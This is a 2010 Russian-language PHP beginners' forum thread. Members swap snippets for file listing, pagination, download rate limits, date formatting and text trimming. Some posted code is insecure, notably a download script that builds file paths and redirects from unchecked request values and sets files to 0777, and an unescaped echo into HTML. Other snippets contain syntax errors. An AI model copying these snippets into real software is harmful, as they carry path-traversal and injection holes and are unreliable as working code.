3428. mides (05.07.10 / 14:12)
3454. eGo, с natsort() не выходит чего-то((
вставил natsort($f); перед closedir($d);} сортирует по прежнему как и asort

3429. KOZZ (05.07.10 / 16:19)
55, включи отчет об ошибках. там надо переделывать чтоб массив был, т.к. это функции для массивов

3430. lugaro (05.07.10 / 16:26)
natsort сортирует массив, а тут его нет, можно либо в цикле формировать массив, потом сортировать его, и опять же пускать цикл для его вывода, а это лишнее действие, glob юзай, он сразу выдает массив


<?
$ArrayFile = glob("dir/*.{jpg,png}", GLOB_BRACE);
natsort($ArrayFile);
foreach($ArrayFile AS $File){
echo 'File name:'.basename($File);
echo 'File path:'.$File;
}


3431. Ant333 (05.07.10 / 21:44)
Подскажите пожалуста: я написал головну страницу сайта на текстовом редакторе, а она помистилась в X-plore, она имеет розшерения .txt. што надо зделать штоби можна била зайти и одкрить то што я написал в инете ? ? ?

3432. mides (05.07.10 / 21:54)
3458. Ant333, переименовать формат в html например, поместить ее на инет сайт

3433. Ant333 (05.07.10 / 23:20)
OK пасибо ! Я переменировал на html ! Одкриваю в системе через инет а мне пишет "нету ответа шлуза" (немає відповіді шлюзу) ! И ищо самое названия сайта типа visavi.net нада написать ? Эсли да то где ? Зарания пасибо !

3434. mides (06.07.10 / 08:43)
3460. Ant333, в приват ответил, т.к. эта тема не совсем для таких вопросов

3435. mides (06.07.10 / 09:19)
еще вопрос ).gif как внедрить сюда навигацию, т.к. коды которые у меня есть только для навигации в сообщениях на файлах и на базе данных, но для этого примера не подходят (.gif

$ArrayFile = glob("dir/*.{jpg,png}", GLOB_BRACE);
natsort($ArrayFile);
foreach($ArrayFile AS $File){
echo 'File name:'.basename($File);
echo 'File path:'.$File;
}


3436. mocart (06.07.10 / 12:12)
3462. mides, http://snippets.pp.ru/article/36/

3437. mides (06.07.10 / 12:27)
3463. mocart, ну дак мне не из файла нужно брать названия и потом их по 10 на страницу, а из папки

3438. lugaro (06.07.10 / 12:58)
3464. mides, http://visavi.net/forum/topic.php?tid=10796&start=30& 35 и 40 пост смотри
Только смотри на том примере нельзя указать список форматом {jpg,png}, чтоб можно было, нужно добавить GLOB_BRACE в glob
ЗЫ http://php.su/functions/?f=glob&choice=info

3439. mides (06.07.10 / 13:09)
3465. .::lugaro::., все ок кроме навигации, жму далее не работает, выбрасывает на главную этого файла, в моем случае icons.php?

3440. lugaro (06.07.10 / 13:11)
3466. mides, а ты в конструкторе указывай путь правильно, если у тебя это папка, к примеру file.php?dir=tratata то и в конструкторе нужно указать file.php?dir=tratata а не просто file.php

3441. mides (06.07.10 / 13:11)
3465. .::lugaro::., все работает ).gif я забыл что меня файл с дополн действием icons.php?act=l ).gif огромное спасибо.
ps дык это конструктор называется file.php?act=some

3442. mocart (06.07.10 / 13:21)
3464. mides,

<?php
//Готовый код
$ArrayFile=glob("glob/*.{jpg,png}",GLOB_BRACE);
natsort($ArrayFile);
$all=count($ArrayFile);
$pnumber=10;
echo'<p>всего элементов: '.$all.'</p>';
$page=(isset($_GET['page']))?(int)$_GET['page']:1;
$num_pages=ceil($all/$pnumber);
$start=$page*$pnumber-$pnumber;
if($page>$num_pages || $page<1)
{$page=1;
$start=0;
}
if($all)
{
for($i=$all-$start-1;$i>=$all-$start-$pnumber;$i--)
{
if(!isset($arr[$i])) break;
echo'<p>';
echo'File name: <font color="green">'.basename($ArrayFile[$i])'</font><br/> File path: '.$ArrayFile[$i].'<br/>';
echo'</p>';
}
echo'<p>';
for($pr='',$i=1;$i<=$num_pages;$i ++)
echo $pr=(($i==1 || $i==$num_pages || abs($i-$page)<2)?($i==$page?"[$i]":'<a href="'.$ _SERVER['SCRIPT_NAME'].'?page='.$i.'">'.$i.'</a>'):( ($pr=='...' || $pr=='')?'':'...'));
echo'</p>';
} else
{ echo'<p>элементов нету';}
?>


3443. mocart (06.07.10 / 13:23)
Опаздал

3444. karakymv (07.07.10 / 00:19)
Помогите сделать форму для смены размера авы(анимации)!
Короче как в дкмс только форму!
Вот я выбираю картинку ввожу width и height и жму ОК!

3445. karakymv (07.07.10 / 01:04)
cry.gif помогите а!

3446. jupsex (07.07.10 / 17:18)
Всем привет! Подскажите пожалуйста, код на php для открытия txt файла и сохранения его содержимого в переменную, чтобы при запросе переменной выводилось содержимое открытого txt файла ?

3447. DmitryDick (07.07.10 / 17:25)
$data = file_get_contents('файл');

3448. Atuwap (08.07.10 / 09:19)
Как можно устанавить время на сессию? 5 минут надо. Типо антифлуд за 5 минут. На загрузе хочу устанавить. Если скачали файл то слдуйщей скачивание после 5 минут.

3449. Azzido (08.07.10 / 09:41)
записывай в куки или в сессию или еще куда нибудь время скачивания файла и проверяй....

3450. DmitryDick (08.07.10 / 10:44)
3475,

<?php

if ( isset($_SESSION['last_load']) && $_SESSION['last_load'] > time() ) {
header('Location: /обратно на стр.загрузки');
exit;
}
else $_SESSION['last_load'] = time() + 300;

# begin file download...

?>


3451. mastermiha (08.07.10 / 12:59)
Подскажите пожалуйста: как сделать,чтобы при добавлении файла в файлообменник http://mastermiha.h2m.ru/obmennik/ ник зарегистрированного добавляющего сам ставился в поле 'Ваше имя'? У меня мотор18.1 ,ответ если можно в асю: 655319 или в приват

3452. mastermiha (08.07.10 / 13:38)
Помогите пожалуйста,а то я уже всё пробовал ставить в то поле,где имя,но оно всё-равно получается пустое...

3453. Azzido (08.07.10 / 13:42)
Предположу, что ник пользователя хранится в сессии, тогда делаем вот так:
echo '<input name="user" value="'.$_SESSION['user'].'" />';

3454. Atuwap (08.07.10 / 14:15)
3476.для моторе хочу сделать. Типо как антифлуд и карантин? На стандартным загрузе. 3477 ок брат сейчас проверит буду

3455. Atuwap (08.07.10 / 14:34)
Вот ссылка скачать

echo' <b><a href="down.php?action=count&amp;did='.$did.'&amp;fid='.$fid.'&amp;'.SID.'">Скачать</a> ('.$siz.')</b>';

а ето скачать.


<?php
if($action=="count"){

if($did!="" && $fid!=""){
if(file("$did/$fid")){
if($_SESSION['download']!="$did/$fid"){

$_SESSION['download']="$did/$fid";

$f = file("../local/datadown/$fid.dat");
$u = explode("|",$f[0]);
$u[0]++;
$t=$u[0].'|'.$u[1].'|'.$u[2].'|'.$sitetime.'|'.$did.'|';
$t=preg_replace ("|[\r\n]+|si","",$t);
$rd=0;
$file=file("../local/datadown/$fid.dat");
$fp=fopen("../local/datadown/$fid.dat","a+");
flock ($fp,LOCK_EX);
ftruncate ($fp,0);
for ($i=0;$i< sizeof($file);$i++) {if ($rd!=$i) {fputs($fp,$file[$i]);} else {fputs($fp,"$t\r\n");}}
fflush ($fp);
flock ($fp,LOCK_UN);
fclose($fp);
chmod ($fp, 0777);
chmod ("../local/datadown/$fid.dat", 0777);
}

header("location: $did/$fid");

}else{echo '<br>Ошибка, невозможно найти требуемый вам файл '.$did.'/'.$fid.'<br>';}
}else{echo '<br>Ошибка, отсутствуют важные данные!<br>';}
echo '<br><img src="../images/img/back.gif" alt=""> <a href="?action=ob&amp;did='.$did.'&amp;fid='.$fid.'&amp;'.SID.'">Вернуться</a>';
}
?>

Надо сюда сделат чтото
$_SESSION['download']="time"; чтото вроди так

3456. Ant333 (09.07.10 / 16:36)
Помогите obana.gif ! Я написал сайт по html, где должно писать на Руском пишет по неизвеснай мове ! Што делать ? Как картинку вставить на главную страницу сайта ? И как зделать заголовок "загрузки:"? Зарания спасибо ! ! !

3457. AngelCorpse (09.07.10 / 16:49)
3483. Ant333,
создай файл .htaccess и пропиши AddDefaultCharset UTF-8
заголовок: <title>Загрузки</title> вверху между <head> и </head>
картинка: <img src="ссылка на картинку" alt="название картинки">

3458. mastermiha (10.07.10 / 00:46)
Спасибо,что помогли насчёт обменника,теперь имя ставится само, куки там и не нужны оказались, ставил тегом $usеr,вот теперь думаю как посчитать все файлы в папках файлообменника и вывести результат на главную,подскажете?

3459. Fantik (12.07.10 / 18:06)
Подскажите как можно дату такого формата 12-12-2010, выводимую из БД, выводить в таком формате 12 Dec 2010. Может функция есть какая для этого?

3460. KOZZ (12.07.10 / 19:24)
86,
<?
$m = explode('-','12-10-2010');

function text_month($var){
if($var{0}=='0'){$var=$var{1};}
$t_month = array('January','February','March','April','May','June','July','August','September','October','November','December');
echo $t_month[$var-1];
}

text_month($m[1]);
?>

написал только что, вроде норм

3461. KOZZ (12.07.10 / 19:39)
предыдущий пост делитните плз,полная функция вот:
<?
function text_month($var){
list($d,$m,$y) = explode('-',$var);
if($m{0}=='0'){$m=$m{1};}
$m_text = array('January','February','March','April','May','June','July','August','September','October','November','December');
echo $d.' '.$m_text[$m-1].' '.$y;
}

text_month('12-10-2010');
?>


3462. Fantik (12.07.10 / 21:29)
3488. eGo, спасибо, я уже разобрался, там всё намного проще

3463. KOZZ (13.07.10 / 04:31)
89, как еще проще?

3464. lix (14.07.10 / 11:28)
Парни подскажите есть 2 функции:
function antimat($string){
бла..бла..бла
}
function smile ($string){
бла..бла..бла
}

а вывод в скрипте только одной print antimat ($ARR['text']); либо соответственно print smile ($ARR['text']);

Как мне объединить их для фильтрации текста...
Сразу скажу что не очень шарю в пыхе.
Знаю что нужно вызывать одну функцию в другой а как х.з.
Буду премного благодарен.

3465. Azzido (14.07.10 / 15:42)
print antimat(smile($ARR['text']));

3466. Ant333 (14.07.10 / 17:52)
Привет ! Помогите пожалуста: Я написал сайт на главной дизайн эсть но на других нет, што делать ? И ищо как вставить картинку на главную или в дизайн ? Зарания пасибо !

3467. Kolyan56 (14.07.10 / 19:30)
3493. Ant333,

<?php
echo '<img src="images/pic.gif" alt="Название">';
?>


3468. Kolyan56 (14.07.10 / 19:33)
Странички html или php?
Стиль подключай на страничку:

<link rel="stylesheet" href="http://blabla.ru/style.css" type="text/css" />

ну и прописывай на страничке дивы и т.д.

3469. lix (14.07.10 / 19:37)
Azzido (14 Июля 2010 / 15:42)
print antimat(smile($ARR['text']));

мне уже подсказали точно так же но все равно спасибо.

3470. Atuwap (15.07.10 / 12:05)
Кто с компом плиз помогите.
Есть такой код.

<?php
fputs($fp,"$msg\r\n[color=#ff0000]Автор: [/color] [user]$log[/user]($date/$time) \r\n");
?>

после $msg на новым строке должен быть [user]$log[/user] . Вот так:
сообщение
Автор: [user]Юзер[/user]

3471. mocart (15.07.10 / 12:10)
97, Так и будет

3472. Atuwap (15.07.10 / 12:13)
mocart (15 Июля 2010 / 13:10)
97, Так и будет

не ощибку пишет. Ранше так быль и работал:
fputs($fp,"$msg\r\nАвтор: <a href=\"../pages/anketa.php?uz=$log&amp;\">$log</a>($date/$time) \r\n");

3473. mocart (15.07.10 / 12:19)
Какая ошибка хоть? Х.З синтаксиса ошибок там нету

3474. Atuwap (15.07.10 / 12:25)
3500. mocart, syntax error, unexpected T_VARIABLE

3475. Atuwap (15.07.10 / 12:28)
Там автор тоже с бб кодам [color=#ff0000]и.д

3476. DmitryDick (15.07.10 / 12:31)
3501, а строка? если эта, то смотри строки выше..

3477. Atuwap (15.07.10 / 12:32)
Вот сам код

<?php
if(!$msg==""){
$date=date_fixed($sitetime,'j F Y');
$time=date_fixed($sitetime,'H:i:s');
$fp=fopen("../download/$kategory/$newdown.txt","a+");
flock ($fp,LOCK_EX);
fputs($fp,"$msg\r\n[color=#ff0000]Aвтор: [/color] [user]"$log"[/user] ($date/$time) \r\n");

flock ($fp,LOCK_UN);
fclose($fp);
@chmod("$fp", 0777);
@chmod("../download/$kategory/$newdown.txt", 0777);
?>


3478. DmitryDick (15.07.10 / 12:32)
3503, нет, ошибка бы была Notice: Undefined variable:

3479. DmitryDick (15.07.10 / 12:33)
fputs($fp,"$msg\r\nAвтор: [user]$log[/user] ($date/$time) \r\n");

3480. Wapruks (15.07.10 / 12:35)
Это и значит что нет переменной. Надо if($msg !=="")...

3481. Atuwap (15.07.10 / 12:35)
3504. dont give me names, да тот строка

3482. Atuwap (15.07.10 / 12:37)
3508. Wapruks, остальные есть. Я остальных не написаль ощибка не в етом

3483. DmitryDick (15.07.10 / 12:38)
я тебе написал, как правильно, пост 3507

3484. mocart (15.07.10 / 12:42)

<?php
fputs($fp,$msg."\r\n".'[color=#ff0000]Автор: [/color] [user]'.$log.'[/user]('.$date.'/'.$time.')'."\r\n");
?>


3485. Atuwap (15.07.10 / 12:49)
3511 не помагло.
3512 помагло. Всем большое спосибо

3486. Fantik (16.07.10 / 23:22)
Вот смотрите так выводится инфа из бд
echo '<div class="r">'.$arr['info'].'</div>';
Как-нибудь тут можно сделать ограничение на вывод определенного количества символов?

3487. Aligan (16.07.10 / 23:40)
Можно substr, но это не самый удачный вариант. Я так понял вывод происходит из sql-запроса? Это задача хорошо реашется на уровне sql

3488. Fantik (17.07.10 / 00:03)
3514. Aligan, а как через запрос сделать ограничение?

3489. AngelCorpse (17.07.10 / 00:04)
3515. Fantik, SUBSTRING_INDEX(`text`, '[cutter]', 1) AS `part_text`
как юзать сам думай, это надо вставить в конец запроса

3490. Aligan (17.07.10 / 00:14)
Fantik, какое именно ограничение требуется? _- Nervous -_ верно написал.

3491. AngelCorpse (17.07.10 / 00:17)
[deleted]

3492. Fantik (17.07.10 / 00:37)
3517. Aligan, ну в бд поле info в 500 символов, а меня интересует кусок в 120 символов. Именно вывести первые 120 символов.

3493. Fantik (17.07.10 / 00:38)
3516. _- Nervous -_, спасибо

3494. Aligan (17.07.10 / 00:45)
На самом деле если говорить о логике, то ты делаешь в корне неверно. Объясню почему. Ты выводишь первые 120 символов, которые ничего не дадут, потому что они не самодостаточны и нет контекста. А информация представляемая пользователю должна быть самодостаточна. Во-вторых 120-ый символ может быть серидиной словой. Лучше тогда сделать поле краткое описание длиной 120 символов и полное описание длиной 500 символов.

3495. Fantik (17.07.10 / 00:59)
3521. Aligan, у меня итак полей достаточно, юзеры жалуются на долгую регистрацию. Плюс зачем я решил сделать вывод краткой информации? Всё очень просто все мои странички под фильтром в google, доступно только 3%, а вот у сайта у которого вывод инфы идёт раньше чем у меня как не странно доступно 98%. А слова которые обрежет по середине, можно украсить типа троеточием... Вот собственно и вся проблема

3496. Fantik (17.07.10 / 01:08)
В принципе сделал так
$arr['info']=iconv_substr($arr['info'],0,200,'utf-8');
Мне с моими знаниями пока и так прокатит ).gif

3497. sanzstez (17.07.10 / 01:19)
Можно было еще mb_substr() взять...

3498. sanzstez (17.07.10 / 02:24)
_- Nervous -_ (17 Июля 2010 / 02:02)
3525. sanzstez, зачем? Надо следить за оптимизацией

Ну и обьясни какая разница mb_substr() и iconv_substr()?
И В чем заключается твоя "оптимизация" в применении этих ф-ций , а то я чуток не понял.

3499. sanzstez (17.07.10 / 02:29)
Вот порылся в гугле http://bolknote.ru/2008/03/07/~1615 и вот твоя "оптимизация"

3500. AxqpxA (17.07.10 / 02:50)
sanzstez (17 Июля 2010 / 02:29)
Вот порылся в гугле http://bolknote.ru/2008/03/07/~1615 и вот твоя "оптимизация"

хахах... а я давно говорил что preg_replace есть гуд =)

3501. AngelCorpse (17.07.10 / 04:05)
3528. sanzstez, тут дело не в них, дело в том, что вывод информации из БД сразу обрезается, а не сначала полностью выводится, а потом уже обрезается, или я тебя не так понял?

3502. Fuelen (17.07.10 / 07:55)
3523, лучше сразу при запросе ).gif
SELECT SUBSTR(`info`, 1, 200) ....

3503. balalayka (17.07.10 / 08:10)
как инклудить php скрипт в htm?Только, чтобы знали, что точно работает)) Весь гугл перерыл и не один инклуд не работает(((

3504. mocart (17.07.10 / 08:17)
Никак

3505. Azzido (17.07.10 / 08:21)
Как понять html? Если у тебя чисто статичные страницы, то тебе поможет SSI, ну а на php это
<?php
require('1.php');// или include('1.php'); но в данном случае желательно так
echo '<html>Hello world!</html>';
?>


3506. balalayka (17.07.10 / 08:21)
т.е. пхп не будет робить в хтмл?(( А ваще как инклудить, например .тхт файл, я и его не мог инклудить))

3507. Azzido (17.07.10 / 08:22)
моя твоя не понимать

3508. Azzido (17.07.10 / 08:23)
http://php.su/functions/?f=include&choice=info

3509. balalayka (17.07.10 / 08:24)
Например, я в Ява скрипт менюшки в подкатегорию хочу инклудить пхп скрипт, но там можно юзать тока хтмл

3510. Fantik (17.07.10 / 09:45)
3529. Fuelen, спасибо попробую вечером через sql ).gif

3511. demeros (17.07.10 / 21:23)
balalayka (17 Июля 2010 / 07:24)
Например, я в Ява скрипт менюшки в подкатегорию хочу инклудить пхп скрипт, но там можно юзать тока хтмл

Почему же? Просто пишеш в необходимом тебе месте

<?php
//а тут php код
?>

3512. painter (18.07.10 / 05:25)
3536. balalayka,
Если я правильно понял, то ты о таком

<input type="button" value="GO" onclick="include("button.php")" />

Это НЕОЗМОЖНО.

Если о чемто другом - напиши внятно, что есть и что нужно

3513. paradoks (19.07.10 / 16:39)
что за ошибка?
Warning: include_once(Z:/home/localhost/www/style/styles/default/head.php) [function.include-once]: failed to open stream: No such file or directory in Z:\home\localhost\www\chat\style\head.php on line 3

Warning: include_once() [function.include]: Failed opening 'Z:/home/localhost/www/style/styles/default/head.php' for inclusion (include_path='.;/usr/local/php5/PEAR') in Z:\home\localhost\www\chat\style\head.php on line 3
вот ..default\head.php

<?php
header('Content-type:text/html; charset=utf-8');
echo "<!DOCTYPE html PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'>\n";
echo "<html>\n";
echo "<head>\n";
echo "<meta http-equiv='Content-Type' content='text/html; charset=utf-8'>\n";
echo "<title>$config_title | $config_title_name</title>\n";

echo "<link rel='stylesheet' href='../style/styles/default/style.css' type='text/css'>";
echo "</head>\n<body>\n";
echo '<table align="center" border="0px" width="400px"><tr>
<td class=s>';
echo "<div class='header'>\n";
echo "<div class=version>ЧаТ - WapLiFe.US</div>\n";
echo "</div>\n";
?>

вот ..\style\head.php

<?php
if ($user) {
include_once $_SERVER['DOCUMENT_ROOT'].'/style/styles/'.$user['set_theme'].'/head.php';
} else {
include_once $_SERVER['DOCUMENT_ROOT'].'/style/styles/'.$config_theme.'/head.php';
}
?>


3514. Azzido (19.07.10 / 18:05)
Ошибка в том что включаемый файл не найден, то есть файлы head.php лежат здесь Z:/home/localhost/www/style/styles/название_темы/head.php дак почему ты тогда ложишь head.php в ..\style\head.php когда надо ..\style\styles\название_темы\head.php

3515. paradoks (19.07.10 / 23:24)
понял,просто не внимательно глянул

3516. 888dimon (22.07.10 / 09:57)
Здравствуйте.Загруз центр мобивап.су, в файле index.php выдает ошибку тут:
    /// Удаление временных файлов из папки temp/
$arr_temp = glob('temp/*');
$i = 0;
foreach ($arr_temp as $value)
{
@unlink($value);
$i++;
if ($i > 50)
{
break;
}
}
}


3517. DmitryDick (22.07.10 / 11:00)
какая ошибка и какая отсюда строка?

3518. AxqpxA (22.07.10 / 11:02)
в конце лишняя скобка }
и что тебе дает это условие? о_О
if ($i > 50)
{
break;
}

3519. AxqpxA (22.07.10 / 11:12)
этого будет достаточно

<?
$arr_temp = glob('temp/*');
foreach ($arr_temp as $value)
{
@unlink($value);
}
?>


3520. lugaro (22.07.10 / 11:24)
3545. Nu3oN, врядли, скорей всего просто так скопировал
------
я догадываюсь в чем ошибка, на винде glob выдает пустой массив если файлов нет, того автор скрипта и не увидел эту ошибку, а на лине этого нет, вот и foreach ругается на то что ему подсунули не массив, автор перед циклом проверяй, является ли $arr_temp массивом, if(is_array($arr_temp)){//цикл }

ЗЫ 3543, текст ошибки покажи

3521. 888dimon (22.07.10 / 12:55)
3547
Warning: Invalid argument supplied for foreach() in/home/domain/public_html/zc/index.php on line 62

3522. mides (22.07.10 / 13:07)
Задал время функцией time() в базу записалось значение 1279789109, скажите, пожалуйста, как из него, какой функцией сделать нормальную дату типа 22.07.2010 12:06?

3523. Azzido (22.07.10 / 13:18)
например date('d.m.Y H:i',time());

3524. lugaro (22.07.10 / 15:11)
3548. 888dimon, как я и предполагал, пиши как я сказал, норм будет

3525. lugaro (22.07.10 / 15:15)
Nu3oN (22 Июля 2010 / 10:02)
в конце лишняя скобка }
и что тебе дает это условие? о_О<